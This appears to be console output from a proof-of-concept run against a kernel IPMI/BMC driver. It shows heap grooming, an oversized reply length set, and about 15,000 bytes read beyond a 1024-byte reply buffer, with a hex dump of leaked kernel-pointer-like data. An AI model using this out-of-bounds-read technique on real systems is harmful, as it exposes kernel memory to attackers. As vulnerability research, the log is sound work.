fds: victim=3 markers=4 pid=1291 uid=1001
groom: 30 patterned chunks allocated, 20 freed (rest held live)
marker+victim sends done; waiting for hw.bumpreplylen=16000 ...
armed: 16000
RECEIVE ok: msg.data_len = 16001 (compcode + 16000 reply bytes)
nonzero in [0,1024):     1
nonzero in [1024,16000):  7144  (first at 0x042e)
block census (offset:nonzero/1024):
      0:    1
   1024:  941   <-- beyond ir_reply[1024]
   2048:    0
   3072:  941   <-- beyond ir_reply[1024]
   4096:    0
   5120:  941   <-- beyond ir_reply[1024]
   6144:    0
   7168:  941   <-- beyond ir_reply[1024]
   8192:    0
   9216:  941   <-- beyond ir_reply[1024]
  10240:    0
  11264:  941   <-- beyond ir_reply[1024]
  12288:    0
  13312:  941   <-- beyond ir_reply[1024]
  14336:    0
  15360:  557   <-- beyond ir_reply[1024]
marker fragments beyond the victim BMC data: 424
reply head (BMC data) [0x0000]:
  0000: c6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
first nonzero beyond 1024 [0x0420]:
  0420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 cf 
  0430: 8d 00 f8 ff ff 28 44 16 4f 00 f8 ff ff 18 44 16 
  0440: 4f 00 f8 ff ff 50 78 cf 8d 00 f8 ff ff 84 03 00 
  0450: 00 00 00 00 00 d4 7b cf 8d 00 f8 ff ff 00 04 00 
  0460: 00 00 00 00 00 00 00 00 00 00 00 00 00 fa 03 00 
  0470: 00 00 00 00 00 18 01 c6 00 00 00 00 00 44 46 34